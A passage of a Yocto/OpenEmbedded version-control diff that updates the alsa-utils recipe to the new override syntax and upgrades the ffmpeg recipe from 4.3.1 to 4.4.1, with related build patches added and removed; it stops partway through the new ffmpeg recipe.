-SUMMARY_alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
-SUMMARY_alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
-SUMMARY_alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
-SUMMARY_alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
-SUMMARY_alsa-utils-alsaloop = "ALSA PCM loopback utility"
-SUMMARY_alsa-utils-alsaucm = "ALSA Use Case Manager"
+SUMMARY:alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
+SUMMARY:alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
+SUMMARY:alsa-utils-aplay = "Play (and record) sound files using ALSA"
+SUMMARY:alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
+SUMMARY:alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
+SUMMARY:alsa-utils-speakertest = "ALSA surround speaker test utility"
+SUMMARY:alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
+SUMMARY:alsa-utils-aconnect = "ALSA sequencer connection manager"
+SUMMARY:alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
+SUMMARY:alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
+SUMMARY:alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
+SUMMARY:alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
+SUMMARY:alsa-utils-alsaloop = "ALSA PCM loopback utility"
+SUMMARY:alsa-utils-alsaucm = "ALSA Use Case Manager"
-RRECOMMENDS_alsa-utils-alsactl = "alsa-states"
+RRECOMMENDS:alsa-utils-alsactl = "alsa-states"
do_install() {
autotools_do_install
diff --git a/meta/recipes-multimedia/alsa/alsa-utils_1.2.4.bb b/meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb
index 3430288da4..3430288da4 100644
--- a/meta/recipes-multimedia/alsa/alsa-utils_1.2.4.bb
+++ b/meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-lavf-srt-fix-build-fail-when-used-the-libsrt-1.4.1.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-lavf-srt-fix-build-fail-when-used-the-libsrt-1.4.1.patch
deleted file mode 100644
index 7635c9196a..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-lavf-srt-fix-build-fail-when-used-the-libsrt-1.4.1.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From aebb72e025cbfbd4a6765354f6f565ad4ac89789 Mon Sep 17 00:00:00 2001
-From: Jun Zhao <barryjzhao@tencent.com>
-Date: Sun, 12 Jul 2020 05:48:48 +0800
-Subject: [PATCH] lavf/srt: fix build fail when used the libsrt 1.4.1
-
-lavf/srt: fix build fail when used the libsrt 1.4.1
-
-libsrt changed the:
-SRTO_SMOOTHER -> SRTO_CONGESTION
-SRTO_STRICTENC -> SRTO_ENFORCEDENCRYPTION
-and removed the front of deprecated options (SRTO_SMOOTHER/SRTO_STRICTENC)
-in the header, it's lead to build fail
-
-fix #8760
-
-Upstream-Status: Backport [https://github.com/FFmpeg/FFmpeg/commit/7c59e1b0f285cd7c7b35fcd71f49c5fd52cf9315]
-
-Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
-Signed-off-by: Jun Zhao <barryjzhao@tencent.com>
----
- libavformat/libsrt.c | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/libavformat/libsrt.c b/libavformat/libsrt.c
-index 4de575b..4719ce0 100644
---- a/libavformat/libsrt.c
-+++ b/libavformat/libsrt.c
-@@ -313,8 +313,12 @@ static int libsrt_set_options_pre(URLContext *h, int fd)
- (s->pbkeylen >= 0 && libsrt_setsockopt(h, fd, SRTO_PBKEYLEN, "SRTO_PBKEYLEN", &s->pbkeylen, sizeof(s->pbkeylen)) < 0) ||
- (s->passphrase && libsrt_setsockopt(h, fd, SRTO_PASSPHRASE, "SRTO_PASSPHRASE", s->passphrase, strlen(s->passphrase)) < 0) ||
- #if SRT_VERSION_VALUE >= 0x010302
-+#if SRT_VERSION_VALUE >= 0x010401
-+ (s->enforced_encryption >= 0 && libsrt_setsockopt(h, fd, SRTO_ENFORCEDENCRYPTION, "SRTO_ENFORCEDENCRYPTION", &s->enforced_encryption, sizeof(s->enforced_encryption)) < 0) ||
-+#else
- /* SRTO_STRICTENC == SRTO_ENFORCEDENCRYPTION (53), but for compatibility, we used SRTO_STRICTENC */
- (s->enforced_encryption >= 0 && libsrt_setsockopt(h, fd, SRTO_STRICTENC, "SRTO_STRICTENC", &s->enforced_encryption, sizeof(s->enforced_encryption)) < 0) ||
-+#endif
- (s->kmrefreshrate >= 0 && libsrt_setsockopt(h, fd, SRTO_KMREFRESHRATE, "SRTO_KMREFRESHRATE", &s->kmrefreshrate, sizeof(s->kmrefreshrate)) < 0) ||
- (s->kmpreannounce >= 0 && libsrt_setsockopt(h, fd, SRTO_KMPREANNOUNCE, "SRTO_KMPREANNOUNCE", &s->kmpreannounce, sizeof(s->kmpreannounce)) < 0) ||
- #endif
-@@ -333,7 +337,11 @@ static int libsrt_set_options_pre(URLContext *h, int fd)
- (s->lossmaxttl >= 0 && libsrt_setsockopt(h, fd, SRTO_LOSSMAXTTL, "SRTO_LOSSMAXTTL", &s->lossmaxttl, sizeof(s->lossmaxttl)) < 0) ||
- (s->minversion >= 0 && libsrt_setsockopt(h, fd, SRTO_MINVERSION, "SRTO_MINVERSION", &s->minversion, sizeof(s->minversion)) < 0) ||
- (s->streamid && libsrt_setsockopt(h, fd, SRTO_STREAMID, "SRTO_STREAMID", s->streamid, strlen(s->streamid)) < 0) ||
-+#if SRT_VERSION_VALUE >= 0x010401
-+ (s->smoother && libsrt_setsockopt(h, fd, SRTO_CONGESTION, "SRTO_CONGESTION", s->smoother, strlen(s->smoother)) < 0) ||
-+#else
- (s->smoother && libsrt_setsockopt(h, fd, SRTO_SMOOTHER, "SRTO_SMOOTHER", s->smoother, strlen(s->smoother)) < 0) ||
-+#endif
- (s->messageapi >= 0 && libsrt_setsockopt(h, fd, SRTO_MESSAGEAPI, "SRTO_MESSAGEAPI", &s->messageapi, sizeof(s->messageapi)) < 0) ||
- (s->payload_size >= 0 && libsrt_setsockopt(h, fd, SRTO_PAYLOADSIZE, "SRTO_PAYLOADSIZE", &s->payload_size, sizeof(s->payload_size)) < 0) ||
- ((h->flags & AVIO_FLAG_WRITE) && libsrt_setsockopt(h, fd, SRTO_SENDER, "SRTO_SENDER", &yes, sizeof(yes)) < 0)) {
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch
new file mode 100644
index 0000000000..2b4ca0e9b9
--- /dev/null
+++ b/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch
@@ -0,0 +1,97 @@
+From 24a58d70cbb3997e471366bd5afe54be9007bfb1 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 15:32:14 +0000
+Subject: [PATCH] libavutil: include assembly with full path from source root
+
+Otherwise nasm writes the full host-specific paths into .o
+output, which breaks binary reproducibility.
+
+Upstream-Status: Submitted [by email to jamrial@gmail.com,ffmpeg-devel@ffmpeg.org]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ libavutil/x86/cpuid.asm | 2 +-
+ libavutil/x86/emms.asm | 2 +-
+ libavutil/x86/fixed_dsp.asm | 2 +-
+ libavutil/x86/float_dsp.asm | 2 +-
+ libavutil/x86/lls.asm | 2 +-
+ libavutil/x86/pixelutils.asm | 2 +-
+ 6 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/libavutil/x86/cpuid.asm b/libavutil/x86/cpuid.asm
+index c3f7866..766f77f 100644
+--- a/libavutil/x86/cpuid.asm
++++ b/libavutil/x86/cpuid.asm
+@@ -21,7 +21,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/emms.asm b/libavutil/x86/emms.asm
+index 8611762..df84f22 100644
+--- a/libavutil/x86/emms.asm
++++ b/libavutil/x86/emms.asm
+@@ -18,7 +18,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/fixed_dsp.asm b/libavutil/x86/fixed_dsp.asm
+index 979dd5c..2f41185 100644
+--- a/libavutil/x86/fixed_dsp.asm
++++ b/libavutil/x86/fixed_dsp.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/float_dsp.asm b/libavutil/x86/float_dsp.asm
+index 517fd63..b773e61 100644
+--- a/libavutil/x86/float_dsp.asm
++++ b/libavutil/x86/float_dsp.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION_RODATA 32
+ pd_reverse: dd 7, 6, 5, 4, 3, 2, 1, 0
+diff --git a/libavutil/x86/lls.asm b/libavutil/x86/lls.asm
+index 317fba6..d2526d1 100644
+--- a/libavutil/x86/lls.asm
++++ b/libavutil/x86/lls.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/pixelutils.asm b/libavutil/x86/pixelutils.asm
+index 36c57c5..8b45ead 100644
+--- a/libavutil/x86/pixelutils.asm
++++ b/libavutil/x86/pixelutils.asm
+@@ -21,7 +21,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
deleted file mode 100644
index 69429af8f0..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-It will add -mips64r6 and -mips64r2 to cmdline which will
-cause conflicts
-
-in OE we user mips32r2 and mips64r2 for mips arch versions
-so there is no benefit of detecting it automatically by
-poking at tools especially in cross env
-
-Fixes errors like
-
-linking -mnan=2008 module with previous -mnan=legacy modules
-failed to merge target specific data of file
-
--Khem
-Upstream-Status: Inappropriate [OE-Specific]
-
-Index: ffmpeg-3.1.1/configure
-===================================================================
---- ffmpeg-3.1.1.orig/configure
-+++ ffmpeg-3.1.1/configure
-@@ -5220,12 +5220,9 @@ elif enabled mips; then
-
- # Enable minimum ISA based on selected options
- if enabled mips64; then
-- enabled mips64r6 && check_inline_asm_flags mips64r6 '"dlsa $0, $0, $0, 1"' '-mips64r6'
- enabled mips64r2 && check_inline_asm_flags mips64r2 '"dext $0, $0, 0, 1"' '-mips64r2'
- disabled mips64r6 && disabled mips64r2 && check_inline_asm_flags mips64r1 '"daddi $0, $0, 0"' '-mips64'
- else
-- enabled mips32r6 && check_inline_asm_flags mips32r6 '"aui $0, $0, 0"' '-mips32r6'
-- enabled mips32r5 && check_inline_asm_flags mips32r5 '"eretnc"' '-mips32r5'
- enabled mips32r2 && check_inline_asm_flags mips32r2 '"ext $0, $0, 0, 1"' '-mips32r2'
- disabled mips32r6 && disabled mips32r5 && disabled mips32r2 && check_inline_asm_flags mips32r1 '"addi $0, $0, 0"' '-mips32'
- fi
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb
deleted file mode 100644
index 72c2fe16ec..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb
+++ /dev/null
@@ -1,162 +0,0 @@
-SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
-DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
- mux, demux, stream, filter and play pretty much anything that humans and machines \
- have created. It supports the most obscure ancient formats up to the cutting edge."
-HOMEPAGE = "https://www.ffmpeg.org/"
-SECTION = "libs"
-
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+ & MIT"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libpostproc = "GPLv2+"
-LICENSE_libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_FLAGS = "commercial"
-
-LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
- file://mips64_cpu_detection.patch \
- file://0001-lavf-srt-fix-build-fail-when-used-the-libsrt-1.4.1.patch \
- "
-SRC_URI[sha256sum] = "ad009240d46e307b4e03a213a0f49c11b650e445b1f8be0dda2a9212b34d2ffb"
-
-# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# Should be API compatible with libav (which was a fork of ffmpeg)
-# libpostproc was previously packaged from a separate recipe
-PROVIDES = "libav libpostproc"
-
-DEPENDS = "nasm-native"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc avresample \
- alsa bzlib gpl lzma theora x264 zlib \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
-
-# libraries to build in addition to avutil
-PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
-PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
-PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
-PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
-PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
-PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
-PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
-PACKAGECONFIG[avresample] = "--enable-avresample,--disable-avresample"
-
-# features to support
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[altivec] = "--enable-altivec,--disable-altivec,"
-PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
-PACKAGECONFIG[fdk-aac] = "--enable-libfdk-aac --enable-nonfree,--disable-libfdk-aac,fdk-aac"
-PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
-PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
-PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
-PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
-PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
-PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
-PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
-PACKAGECONFIG[srt] = "--enable-libsrt,--disable-libsrt,srt"
-PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
-PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
-PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
-PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
-PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
-PACKAGECONFIG[x265] = "--enable-libx265,--disable-libx265,x265"
-PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
-PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
-
-# Check codecs that require --enable-nonfree
-USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
-
-def cpu(d):
- for arg in (d.getVar('TUNE_CCARGS') or '').split():
- if arg.startswith('-mcpu='):
- return arg[6:]
- return 'generic'
-
-EXTRA_OECONF = " \
- --disable-stripping \
- --enable-pic \
- --enable-shared \
- --enable-pthreads \
- ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
- \
- --cross-prefix=${TARGET_PREFIX} \
- \
- --ld="${CCLD}" \
- --cc="${CC}" \
- --cxx="${CXX}" \
- --arch=${TARGET_ARCH} \
- --target-os="linux" \
- --enable-cross-compile \
- --extra-cflags="${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}" \
- --extra-ldflags="${LDFLAGS}" \
- --sysroot="${STAGING_DIR_TARGET}" \
- ${EXTRA_FFCONF} \
- --libdir=${libdir} \
- --shlibdir=${libdir} \
- --datadir=${datadir}/ffmpeg \
- ${@bb.utils.contains('AVAILTUNES', 'mips32r2', '', '--disable-mipsdsp --disable-mipsdspr2', d)} \
- --cpu=${@cpu(d)} \
- --pkg-config=pkg-config \
-"
-
-EXTRA_OECONF_append_linux-gnux32 = " --disable-asm"
-# gold crashes on x86, another solution is to --disable-asm but thats more hacky
-# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
-
-LDFLAGS_append_x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-EXTRA_OEMAKE = "V=1"
-
-do_configure() {
- ${S}/configure ${EXTRA_OECONF}
-}
-
-PACKAGES =+ "libavcodec \
- libavdevice \
- libavfilter \
- libavformat \
- libavresample \
- libavutil \
- libpostproc \
- libswresample \
- libswscale"
-
-FILES_libavcodec = "${libdir}/libavcodec${SOLIBS}"
-FILES_libavdevice = "${libdir}/libavdevice${SOLIBS}"
-FILES_libavfilter = "${libdir}/libavfilter${SOLIBS}"
-FILES_libavformat = "${libdir}/libavformat${SOLIBS}"
-FILES_libavresample = "${libdir}/libavresample${SOLIBS}"
-FILES_libavutil = "${libdir}/libavutil${SOLIBS}"
-FILES_libpostproc = "${libdir}/libpostproc${SOLIBS}"
-FILES_libswresample = "${libdir}/libswresample${SOLIBS}"
-FILES_libswscale = "${libdir}/libswscale${SOLIBS}"
-
-# ffmpeg disables PIC on some platforms (e.g. x86-32)
-INSANE_SKIP_${MLPREFIX}libavcodec = "textrel"
-INSANE_SKIP_${MLPREFIX}libavdevice = "textrel"
-INSANE_SKIP_${MLPREFIX}libavfilter = "textrel"
-INSANE_SKIP_${MLPREFIX}libavformat = "textrel"
-INSANE_SKIP_${MLPREFIX}libavutil = "textrel"
-INSANE_SKIP_${MLPREFIX}libavresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libswscale = "textrel"
-INSANE_SKIP_${MLPREFIX}libswresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.4.1.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_4.4.1.bb
new file mode 100644
index 0000000000..3ba07c31d6
--- /dev/null
+++ b/meta/recipes-multimedia/ffmpeg/ffmpeg_4.4.1.bb
@@ -0,0 +1,181 @@
+SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
+DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
+ mux, demux, stream, filter and play pretty much anything that humans and machines \
+ have created. It supports the most obscure ancient formats up to the cutting edge."
+HOMEPAGE = "https://www.ffmpeg.org/"
+SECTION = "libs"
+
+LICENSE = "GPLv2+ & LGPLv2.1+ & ISC & MIT & BSD-2-Clause & BSD-3-Clause & IJG"
+LICENSE:${PN} = "GPLv2+"
+LICENSE:libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libavresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libpostproc = "GPLv2+"
+LICENSE:libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE:libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
+LICENSE_FLAGS = "commercial"
+
+LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
+ file://0001-libavutil-include-assembly-with-full-path-from-sourc.patch \
+ "
+SRC_URI[sha256sum] = "eadbad9e9ab30b25f5520fbfde99fae4a92a1ae3c0257a8d68569a4651e30e02"
+
+# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# Should be API compatible with libav (which was a fork of ffmpeg)
+# libpostproc was previously packaged from a separate recipe
+PROVIDES = "libav libpostproc"
+
+DEPENDS = "nasm-native"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc avresample \
+ alsa bzlib lzma pic pthreads shared theora zlib \
+ ${@bb.utils.contains('AVAILTUNES', 'mips32r2', 'mips32r2', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
+
+# libraries to build in addition to avutil
+PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
+PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
+PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
+PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
+PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
+PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
+PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
+PACKAGECONFIG[avresample] = "--enable-avresample,--disable-avresample"
+
+# features to support
+PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
+PACKAGECONFIG[altivec] = "--enable-altivec,--disable-altivec,"
+PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
+PACKAGECONFIG[fdk-aac] = "--enable-libfdk-aac --enable-nonfree,--disable-libfdk-aac,fdk-aac"
+PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
+PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
+PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
+PACKAGECONFIG[libopus] = "--enable-libopus,--disable-libopus,libopus"
+PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
+PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
+PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
+PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
+PACKAGECONFIG[srt] = "--enable-libsrt,--disable-libsrt,srt"
+PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
+PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
+PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
+PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
+PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
+PACKAGECONFIG[x265] = "--enable-libx265,--disable-libx265,x265"
+PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
+PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
+
+# other configuration options
+PACKAGECONFIG[mips32r2] = ",--disable-mipsdsp --disable-mipsdspr2"
+PACKAGECONFIG[pic] = "--enable-pic"
+PACKAGECONFIG[pthreads] = "--enable-pthreads,--disable-pthreads"
+PACKAGECONFIG[shared] = "--enable-shared"
+PACKAGECONFIG[strip] = ",--disable-stripping"
+
+# Check codecs that require --enable-nonfree
+USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
+
+def cpu(d):
+ for arg in (d.getVar('TUNE_CCARGS') or '').split():
+ if arg.startswith('-mcpu='):
+ return arg[6:]
+ return 'generic'
+
+EXTRA_OECONF = " \
+ ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
+ \
+ --cross-prefix=${TARGET_PREFIX} \
+ \
+ --ld='${CCLD}' \
+ --cc='${CC}' \
+ --cxx='${CXX}' \
+ --arch=${TARGET_ARCH} \
+ --target-os='linux' \
+ --enable-cross-compile \
+ --extra-cflags='${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}' \
+ --extra-ldflags='${LDFLAGS}' \
+ --sysroot='${STAGING_DIR_TARGET}' \
+ ${EXTRA_FFCONF} \
+ --libdir=${libdir} \
+ --shlibdir=${libdir} \
+ --datadir=${datadir}/ffmpeg \
+ --cpu=${@cpu(d)} \
+ --pkg-config=pkg-config \
+"
+
+EXTRA_OECONF:append:linux-gnux32 = " --disable-asm"
+
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF:append:mips = " --extra-libs=-latomic --disable-mips32r5 --disable-mipsdsp --disable-mipsdspr2 \
